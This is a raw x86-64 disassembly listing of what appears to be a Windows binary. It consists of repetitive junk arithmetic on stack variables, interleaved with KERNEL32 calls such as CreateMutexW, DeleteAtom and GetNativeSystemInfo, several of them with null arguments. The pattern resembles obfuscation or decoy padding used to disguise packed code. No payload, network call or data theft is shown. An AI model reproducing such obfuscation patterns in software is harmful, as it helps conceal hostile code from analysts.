mov rax, qword [rsp + 0x8c98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5dd8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8180]
mov byte [rcx], al
mov rax, qword [rsp + 0x60f8]
mov eax, dword [rax]
mov dword [rsp + 0x232c], eax
mov rax, qword [rsp + 0x7dd8]
mov rcx, qword [rsp + 0x4e00]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x66d8]
mov qword [rcx], rax
mov rax, qword [0x14018c930]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc1c]
sar eax, cl
mov word [rsp + 0xf18], ax
lea rax, [rsp + 0x980]
mov qword [rsp + 0x9140], rax
mov rax, qword [rsp + 0x7a60]
mov rcx, qword [rsp + 0x6448]
sub rcx, rax
mov rax, rcx
mov qword [0x14018c108], rax
mov rax, qword [rsp + 0x5c78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5e78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x59a8], rax
lea rax, [rsp + 0x33f8]
mov qword [rsp + 0x9148], rax
mov rax, qword [rsp + 0x53f0]
mov rcx, qword [rsp + 0x85e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6d50]
mov qword [rcx], rax
mov rax, qword [0x14018c320]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6430]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3d8], ax
mov rax, qword [rsp + 0x7fd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x86]
sub eax, ecx
mov byte [rsp + 0xd0], al
mov rax, qword [rsp + 0x7b70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c54]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2028], eax
lea rax, [rsp + 0x213]
mov qword [rsp + 0x9150], rax
mov rax, qword [rsp + 0x8c68]
mov rcx, qword [rsp + 0x7708]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x6740], rax
mov rax, qword [rsp + 0x4e80]
mov eax, dword [rax]
mov rcx, qword [0x14018c550]
mov qword [rsp + 0x9158], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9158]
mov eax, dword [rax]
shl eax, cl
mov dword [0x14018ad34], eax
lea rax, [rsp + 0xd3c]
mov qword [rsp + 0x9160], rax
movsx eax, word [rsp + 0xca0]
movsx ecx, word [rsp + 0xc7c]
sar eax, cl
mov rcx, qword [rsp + 0x5918]
mov word [rcx], ax
mov rax, qword [rsp + 0x8768]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4280]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x75f0]
mov word [rcx], ax
lea rax, [rsp + 0x8608]
mov qword [rsp + 0x9168], rax
movsx eax, byte [rsp + 0x203]
movsx ecx, byte [rsp + 0x1c5]
add eax, ecx
mov byte [rsp + 0x6a], al
lea rax, [0x14018ad34]
mov qword [rsp + 0x9170], rax
mov rax, qword [rsp + 0x3220]
mov rcx, qword [rsp + 0x8f00]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8258], rax
movsx eax, word [rsp + 0xdac]
mov rcx, qword [0x14018c748]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xce8], ax
lea rax, [rsp + 0x1038]
mov qword [0x14018cad8], rax
lea rax, [rsp + 0x7318]
mov qword [rsp + 0x9178], rax
mov rax, qword [rsp + 0x4070]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf34]
and eax, ecx
mov rcx, qword [rsp + 0x4b78]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x206c], eax
lea rax, [0x14018acda]
mov qword [rsp + 0x9180], rax
mov rax, qword [rsp + 0x8e68]
mov ecx, dword [rsp + 0x2190]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x70d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2254]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20e4], eax
lea rax, [rsp + 0x1f0]
mov qword [rsp + 0x9188], rax
mov rax, qword [rsp + 0x4b10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7b28]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x73d8]
mov qword [rcx], rax
lea rax, [rsp + 0xef4]
mov qword [rsp + 0x9190], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x21b0], eax
movzx eax, word [rsp + 0xd1c]
movzx ecx, word [rsp + 0xf1c]
xor eax, ecx
mov word [0x14018ae70], ax
mov rax, qword [rsp + 0x3fb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5a18]
mov qword [rsp + 0x9198], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9198]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x80c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4120]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8508]
mov qword [rsp + 0x91a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x91a0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3288], rax
movzx eax, word [rsp + 0x7d0]
mov word [rsp + 0x1044], ax
mov rax, qword [rsp + 0x8070]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4c90]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd80], ax
lea rax, [rsp + 0x219]
mov qword [rsp + 0x91a8], rax
mov rax, qword [rsp + 0x7138]
mov rcx, qword [rsp + 0x5c70]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3a08], rax
lea rax, [rsp + 0x2068]
mov qword [rsp + 0x91b0], rax
mov rax, qword [rsp + 0x7080]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x33f8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7748]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3f98]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14018beb0]
mov word [rcx], ax
movzx eax, word [rsp + 0xf44]
movzx ecx, word [rsp + 0x660]
add eax, ecx
mov rcx, qword [rsp + 0x6ba8]
mov word [rcx], ax
lea rax, [rsp + 0x22b0]
mov qword [rsp + 0x91b8], rax
movzx eax, byte [0x14018acda]
mov rcx, qword [rsp + 0x8000]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1bf], al
lea rax, [rsp + 0x3318]
mov qword [rsp + 0x91c0], rax
mov rax, qword [0x14018bfc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7cf8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x55a0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xcb]
mov rcx, qword [rsp + 0x61c0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7618]
mov byte [rcx], al
mov rax, qword [rsp + 0x7180]
mov eax, dword [rax]
mov dword [rsp + 0x2330], eax
movsx eax, word [rsp + 0xe40]
mov rcx, qword [0x14018c960]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x8d8], ax
lea rax, [rsp + 0xa58]
mov qword [0x14018cae0], rax
lea rax, [rsp + 0x8b50]
mov qword [rsp + 0x91c8], rax
mov rax, qword [rsp + 0x7120]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6fa8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x910], ax
movsx eax, word [rsp + 0x57c]
mov rcx, qword [rsp + 0x4e90]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xcbc], ax
mov rax, qword [rsp + 0x7450]
mov rcx, qword [rsp + 0x3b78]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3660], rax
mov rax, qword [rsp + 0x6bd8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1bac]
shr eax, cl
mov dword [rsp + 0x2120], eax
mov rax, qword [rsp + 0x5b48]
mov rax, qword [rax]
mov qword [rsp + 0x91d0], rax
mov rax, qword [rsp + 0x9188]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4fd8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6b70]
mov byte [rcx], al
mov rax, qword [rsp + 0x6840]
movzx eax, word [rax]
movzx ecx, word [0x14018ad40]
add eax, ecx
mov word [rsp + 0x878], ax
mov rax, qword [rsp + 0x8a00]
mov rcx, qword [rsp + 0x5058]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14018c430], rax
mov eax, dword [rsp + 0x22c4]
mov ecx, dword [rsp + 0x21b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1e80], eax
mov rax, qword [rsp + 0x88f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x81]
and eax, ecx
mov byte [rsp + 0x1f2], al
lea rax, [rsp + 0x1008]
mov qword [rsp + 0x91d8], rax
mov rax, qword [rsp + 0x7e30]
movzx eax, word [rax]
movzx ecx, word [0x14018ae1c]
sar eax, cl
mov word [rsp + 0xf28], ax
mov rax, qword [rsp + 0x6fd8]
mov rax, qword [rax]
mov qword [rsp + 0x91e0], rax
mov rax, qword [rsp + 0x5fd8]
mov ecx, dword [rsp + 0x1b6c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2240], eax
movsx eax, byte [rsp + 0x194]
mov rcx, qword [rsp + 0x5790]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6b70]
mov byte [rcx], al
lea rax, [rsp + 0xf3c]
mov qword [rsp + 0x91e8], rax
mov rax, qword [rsp + 0x6ba8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8610]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14018c9d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7fa8]
movzx ecx, al
mov rax, qword [rsp + 0x3f78]
shl rax, cl
mov qword [rsp + 0x7e38], rax
lea rax, [rsp + 0x7af8]
mov qword [rsp + 0x91f0], rax
mov rax, qword [rsp + 0x7680]
mov rcx, qword [rsp + 0x3250]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4b70]
mov qword [rcx], rax
movsx eax, word [rsp + 0xd30]
mov rcx, qword [rsp + 0x7108]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x77a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b90]
mov rax, qword [rax]
mov qword [rsp + 0x91f8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9200], rax
mov eax, dword [rsp + 0x1b30]
mov rcx, qword [rsp + 0x54d8]
mov qword [rsp + 0x9208], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9208]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2074], eax
mov rax, qword [0x14018bf10]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4f60]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x161], al
mov rax, qword [rsp + 0x5e28]
mov rcx, qword [rsp + 0x5d50]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x72e8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x9b]
mov rcx, qword [rsp + 0x6158]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x76a8]
mov byte [rcx], al
lea rax, [rsp + 0x554]
mov qword [0x14018cae8], rax
lea rax, [rsp + 0xfb4]
mov qword [rsp + 0x9210], rax
movzx eax, word [rsp + 0xfb8]
movzx ecx, word [rsp + 0xeec]
and eax, ecx
mov rcx, qword [rsp + 0x7a30]
mov word [rcx], ax
mov rax, qword [rsp + 0x6598]
mov rax, qword [rax]
mov qword [rsp + 0x9218], rax
mov rax, qword [rsp + 0x3a68]
mov rcx, qword [rsp + 0x8730]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1e9c], eax
mov rax, qword [rsp + 0x7a88]
movsx eax, byte [rax]
mov rcx, qword [0x14018c650]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x15c], al
mov rax, qword [rsp + 0x30c0]
movzx ecx, al
mov rax, qword [rsp + 0x73c0]
shr rax, cl
mov qword [rsp + 0x2c18], rax
mov rax, qword [rsp + 0x66c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcbc]
or eax, ecx
mov word [rsp + 0xd14], ax
mov rcx, qword [rsp + 0x8210]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [0x14018ade8]
mov qword [rsp + 0x9220], rax
mov r9d, 0x1b36
xor r8d, r8d
lea rdx, [rsp + 0x5c28]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x21fc], eax
mov rax, qword [rsp + 0x2b68]
mov rcx, qword [rsp + 0x88e0]
mov qword [rsp + 0x9228], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9228]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [0x14018c210]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6e10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4078]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6840]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x21c0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [0x14018ca10]
mov qword [rsp + 0x9230], rax
mov rax, qword [rsp + 0x5880]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3318], rax
mov rax, qword [rsp + 0x6c28]
mov rcx, qword [rsp + 0x55c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9088]
mov qword [rcx], rax
lea rax, [rsp + 0x1cec]
mov qword [rsp + 0x9238], rax
mov rax, qword [rsp + 0x7870]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2030]
sar eax, cl
mov dword [rsp + 0x21e0], eax
mov rax, qword [rsp + 0x5e90]
movzx eax, byte [rax]
mov byte [rsp + 0x22f], al
mov rax, qword [rsp + 0x6e20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ab]
sub eax, ecx
mov rcx, qword [rsp + 0x6758]
mov byte [rcx], al
lea rax, [rsp + 0x7f4]
mov qword [0x14018caf0], rax
movzx ecx, word [rsp + 0xd5c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xeb4], ax
mov rax, qword [rsp + 0x6e30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x56b0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4490]
mov word [rcx], ax
lea rax, [rsp + 0x4fc]
mov qword [rsp + 0x9240], rax
movzx eax, word [rsp + 0x7bc]
mov rcx, qword [rsp + 0x7b68]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x9e8], ax
mov rax, qword [rsp + 0x8f68]
movzx eax, byte [rax]
mov byte [rsp + 0x230], al
mov rax, qword [rsp + 0x83f0]
mov rcx, qword [rsp + 0x9038]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6190]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6de0]
mov rcx, qword [rsp + 0x67e8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5ec8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8570]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1024]
sub eax, ecx
mov word [rsp + 0xa68], ax
mov rax, qword [0x14018c670]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5630]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5290]
mov word [rcx], ax
lea rax, [rsp + 0x2e68]
mov qword [0x14018caf8], rax
mov rax, qword [rsp + 0x85b0]
mov rax, qword [rax]
mov qword [rsp + 0x9248], rax
mov rax, qword [0x14018ca48]
mov rcx, qword [rsp + 0x3038]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x5798], rax
mov rax, qword [rsp + 0x69b0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3960]
shl rax, cl
mov qword [rsp + 0x31e0], rax
movzx eax, word [rsp + 0x8f4]
mov rcx, qword [0x14018c270]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xe78], ax
mov rax, qword [rsp + 0x8f60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x59b0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6d58]
mov byte [rcx], al
lea rax, [rsp + 0x2044]
mov qword [rsp + 0x9250], rax
mov eax, dword [rsp + 0x2050]
mov ecx, dword [rsp + 0x1d2c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8910]
mov qword [rsp + 0x9258], rax
mov rax, qword [rsp + 0x7eb8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ef]
add eax, ecx
mov rcx, qword [0x14018c200]
mov byte [rcx], al
movsx eax, word [rsp + 0xf4c]
movsx ecx, word [0x14018be58]
sar eax, cl
mov rcx, qword [rsp + 0x72d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6820]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7748]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xa1c], ax
mov rax, qword [rsp + 0x8610]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4948]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x870], ax
mov rax, qword [rsp + 0x52e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3318]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8a78], rax
lea rcx, [rsp + 0x15908]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x6328]
mov qword [rsp + 0x9260], rax
movsx eax, byte [rsp + 0x69]
movsx ecx, byte [0x14018acdb]
and eax, ecx
mov rcx, qword [rsp + 0x6610]
mov byte [rcx], al
mov rax, qword [rsp + 0x3e80]
mov ecx, dword [rsp + 0x1bec]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8a08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6c60]
movzx eax, word [rax]
mov word [rsp + 0x1048], ax
lea rax, [rsp + 0x988]
mov qword [0x14018cb00], rax
mov rax, qword [rsp + 0x5df8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2bb8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6b90]
mov qword [rcx], rax
lea rax, [rsp + 0x3b4]
mov qword [rsp + 0x9268], rax
mov rax, qword [rsp + 0x7df8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x205]
shl eax, cl
mov rcx, qword [rsp + 0x6918]
mov byte [rcx], al
mov rax, qword [rsp + 0x5830]
mov eax, dword [rax]
mov dword [rsp + 0x2334], eax
movzx ecx, word [rsp + 0xc80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x104c], ax
mov rax, qword [rsp + 0x7848]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xaf]
or eax, ecx
mov byte [rsp + 0x18d], al
mov rax, qword [rsp + 0x5cd8]
mov rcx, qword [rsp + 0x5c00]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4568], rax
mov rax, qword [rsp + 0x44f0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x20bc]
shr eax, cl
mov dword [rsp + 0x1d0c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x226c], eax
movsx eax, word [rsp + 0xc64]
movsx ecx, word [rsp + 0xd2c]
add eax, ecx
mov rcx, qword [rsp + 0x7de0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5f80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x438]
sub eax, ecx
mov rcx, qword [0x14018c948]
mov word [rcx], ax
mov rax, qword [rsp + 0x4130]
mov rax, qword [rax]
mov qword [rsp + 0x9270], rax
mov rax, qword [rsp + 0x5f50]
mov rcx, qword [rsp + 0x3630]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8840]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc90]
and eax, ecx
mov rcx, qword [rsp + 0x6800]
mov word [rcx], ax
lea rax, [rsp + 0x3fc]
mov qword [rsp + 0x9278], rax
mov rax, qword [rsp + 0x7d98]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x20d8]
shr eax, cl
mov dword [rsp + 0x2260], eax
mov rax, qword [0x14018c2b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5d38]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x100], al
mov rax, qword [rsp + 0x8298]
mov rcx, qword [rsp + 0x6830]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x90d0]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2090], eax
mov rax, qword [rsp + 0x6d90]
mov rcx, qword [0x14018ca30]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x91c8]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x5d58]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2058], eax
mov rax, qword [rsp + 0x77b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6e28]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14018c268]
mov word [rcx], ax
mov rax, qword [rsp + 0x6170]
movzx eax, word [rax]
mov word [rsp + 0x1050], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x9280], rax
mov rax, qword [rsp + 0x4af0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1f20]
shl eax, cl
mov dword [rsp + 0x22d8], eax
lea rax, [rsp + 0x1d3]
mov qword [rsp + 0x9288], rax
mov rax, qword [rsp + 0x8308]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7d48]
mov qword [rsp + 0x9290], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9290]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x8d20]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2208]
mov ecx, dword [rsp + 0x20b0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3b80]
mov dword [rcx], eax
lea rax, [rsp + 0x16c]
mov qword [rsp + 0x9298], rax
mov rax, qword [rsp + 0x8ea0]
mov rcx, qword [rsp + 0x6a40]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3fc0], rax
lea rax, [rsp + 0xe48]
mov qword [rsp + 0x92a0], rax
lea rax, [rsp + 0xd9c]
mov qword [0x14018cb08], rax
mov rax, qword [rsp + 0x5648]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8688]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6950], rax
lea rax, [rsp + 0x8f4]
mov qword [rsp + 0x92a8], rax
mov rax, qword [rsp + 0x6570]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1044]
and eax, ecx
mov word [rsp + 0x3b8], ax
mov rax, qword [rsp + 0x8130]
mov rcx, qword [rsp + 0x86c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7698]
mov qword [rcx], rax
lea rax, [0x14018ad48]
mov qword [rsp + 0x92b0], rax
mov rax, qword [rsp + 0x6d48]
movzx ecx, al
mov rax, qword [rsp + 0x2c88]
shr rax, cl
mov rcx, qword [rsp + 0x54e0]
mov qword [rcx], rax
lea rax, [rsp + 0x10e]
mov qword [rsp + 0x92b8], rax
mov rax, qword [rsp + 0x7020]
movzx eax, word [rax]
mov rcx, qword [0x14018c2f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8030]
mov word [rcx], ax
mov rax, qword [rsp + 0x7a60]
mov rcx, qword [rsp + 0x8018]
and rcx, rax
mov rax, rcx
mov qword [0x14018ad28], rax
movzx eax, byte [rsp + 0x1f1]
movzx ecx, byte [rsp + 0x1cc]
and eax, ecx
mov byte [rsp + 0x1da], al
mov eax, dword [rsp + 0x1f8c]
mov dword [rsp + 0x2338], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov rax, qword [rsp + 0x4400]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8f8]
xor eax, ecx
mov rcx, qword [rsp + 0x6c58]
mov word [rcx], ax
lea rax, [rsp + 0x6c4]
mov qword [rsp + 0x92c0], rax
mov rax, qword [rsp + 0x4940]
movsx eax, byte [rax]
mov rcx, qword [0x14018c9f8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x59c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x59c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4258]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6010], rax
mov rax, qword [0x14018ca60]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x74b0]
mov qword [rsp + 0x92c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x92c8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x1f08], eax
movsx eax, word [rsp + 0xc84]
mov rcx, qword [rsp + 0x7940]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe84], ax
movzx eax, word [rsp + 0xad4]
mov word [0x14018cb10], ax
mov rax, qword [rsp + 0x4028]
mov rax, qword [rax]
mov qword [rsp + 0x92d0], rax
mov rax, qword [rsp + 0x5e38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c10]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5a10]
mov qword [rcx], rax
lea rax, [rsp + 0x3630]
mov qword [rsp + 0x92d8], rax
mov rax, qword [rsp + 0x7b10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4d80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x588], ax
movsx eax, byte [0x14018acd9]
movsx ecx, byte [rsp + 0x19c]
sub eax, ecx
mov rcx, qword [rsp + 0x87e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6f28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3608]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3748], rax
lea rcx, [rsp + 0x15848]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [0x14018ca60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1d4c]
shr eax, cl
mov rcx, qword [rsp + 0x40c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x88c8]
mov eax, dword [rax]
mov dword [rsp + 0x233c], eax
movzx eax, byte [rsp + 0x1b4]
movzx ecx, byte [rsp + 0x1be]
sub eax, ecx
mov byte [rsp + 0xa1], al
mov rax, qword [rsp + 0x61b8]
movsx eax, word [rax]
movsx ecx, word [0x14018c9f0]
add eax, ecx
mov word [0x14018c260], ax
movzx eax, word [rsp + 0xa58]
movzx ecx, word [rsp + 0xef8]
or eax, ecx
mov word [rsp + 0x61c], ax
lea rax, [rsp + 0xf04]
mov qword [rsp + 0x92e0], rax
mov rax, qword [rsp + 0x6950]
movzx ecx, al
mov rax, qword [rsp + 0x38a8]
shl rax, cl
mov rcx, qword [rsp + 0x8828]
mov qword [rcx], rax
lea rax, [rsp + 0x83a0]
mov qword [rsp + 0x92e8], rax
mov rax, qword [rsp + 0x51b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b0]
xor eax, ecx
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0x5be0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f08], eax
lea rax, [rsp + 0x3f8]
mov qword [rsp + 0x92f0], rax
movzx eax, word [rsp + 0x404]
movzx ecx, word [rsp + 0xf9c]
sar eax, cl
mov rcx, qword [rsp + 0x7900]
mov word [rcx], ax
lea rax, [0x14018adc0]
mov qword [0x14018cb18], rax
mov rax, qword [rsp + 0x6180]
movzx eax, word [rax]
mov word [rsp + 0x1054], ax
mov rax, qword [rsp + 0x65c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3850]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x45d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4a50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5058]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2ad0], rax
lea rax, [rsp + 0x2ef0]
mov qword [rsp + 0x92f8], rax
mov rax, qword [rsp + 0x7498]
mov eax, dword [rax]
